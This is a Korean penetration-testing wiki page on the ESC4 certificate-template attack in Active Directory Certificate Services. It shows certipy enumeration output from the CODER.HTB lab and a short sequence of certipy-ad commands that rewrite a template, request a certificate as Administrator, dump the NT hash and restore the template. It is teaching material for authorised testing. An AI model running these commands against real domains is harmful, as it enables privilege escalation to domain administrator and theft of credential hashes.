펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Abuse
  • References

Was this helpful?

Export as PDF
  1. 권한 상승
  2. Active Directory
  3. AD CS

ESC4

ESC4는 템플릿에 대해 편집 가능한 권한이 있으면 ESC1에 취약한 템플릿으로 수정한 뒤 ESC1 공격을 통해 권한상승 할 수 있는 공격입니다.

    Permissions                                                                                                                                                                  
      Enrollment Permissions                                                                                                                                                     
        Enrollment Rights               : CODER.HTB\PKI Admins                          
      Object Control Permissions                                                                                                                                                 
        Owner                           : CODER.HTB\Erron Black                         
        Full Control Principals         : CODER.HTB\Domain Admins                                                                                                                
                                          CODER.HTB\Local System
                                          CODER.HTB\Enterprise Admins                   
        Write Owner Principals          : CODER.HTB\Domain Admins                                                                                                                
                                          CODER.HTB\Local System                                                                                                                 
                                          CODER.HTB\Enterprise Admins                                                                                                            
        Write Dacl Principals           : CODER.HTB\Domain Admins                                                                                                                
                                          CODER.HTB\Local System                                                                                                                 
                                          CODER.HTB\Enterprise Admins                
        Write Property Principals       : CODER.HTB\Domain Admins                                                                                                                
                                          CODER.HTB\Local System                   
                                          CODER.HTB\Enterprise Admins                                                                                                            
    [!] Vulnerabilities                                                                                                                                                          
      ESC1                              : 'CODER.HTB\\PKI Admins' can enroll, enrollee supplies subject and template allows client authentication                                
      ESC4                              : Template is owned by CODER.HTB\Erron Black  

certipy를 통해서 인증 서버에 있는 템플릿 정보를 확인하면 ACL 목록이 출력되는데 이 중 한가지 권한과 몇가지 조건이 만족될 시 ESC4에 취약합니다.

  1. Enabled : True

  2. Requires Manager Approval : False

  3. Full Control, Write Owner, Write Dacl, Write Property, Owner 중 1개의 권한 소유

Abuse

# ESC4에 취약한 템플릿의 속성을 수정하여 ESC1에 취약하게 변경
certipy-ad template -u <USER> -p <PASS> -template <Template> -save-old -dc-ip <DC-IP> -target <DC FQDN>

# 수정된 템플릿을 통한 ESC1 Abuse
certipy-ad req -ca <CA> -dc-ip <DC-IP> -u <USER> -p <PASS> -template <Template> -target <Target> -upn Administrator@<Domain>

# 획득한 pfx 파일로부터 NT Hash 덤핑
certipy-ad auth -pfx <PFX> -dc-ip <DC-IP>

# 템플릿 복원
certipy-ad template -dc-ip <DC-IP> -u <USER> -p <PASS> -template <Template> -target <Target> -configuration <Template>.json

-save-old 플래그를 사용한 이유는 실무에서 템플릿 수정 시 권한상승에 성공한 이후 원래 상태를 복원하기 위한 백업 플래그입니다.

References

PreviousESC3NextESC5

Last updated 1 month ago

Was this helpful?

Active Directory Certificate Services (ADCS – ESC4) | RBT SecurityRBT Security | Reinventing The Security
https://www.beyondtrust.com/blog/entry/esc4-attackswww.beyondtrust.com
Logo
esc4Red Team Wiki
Logo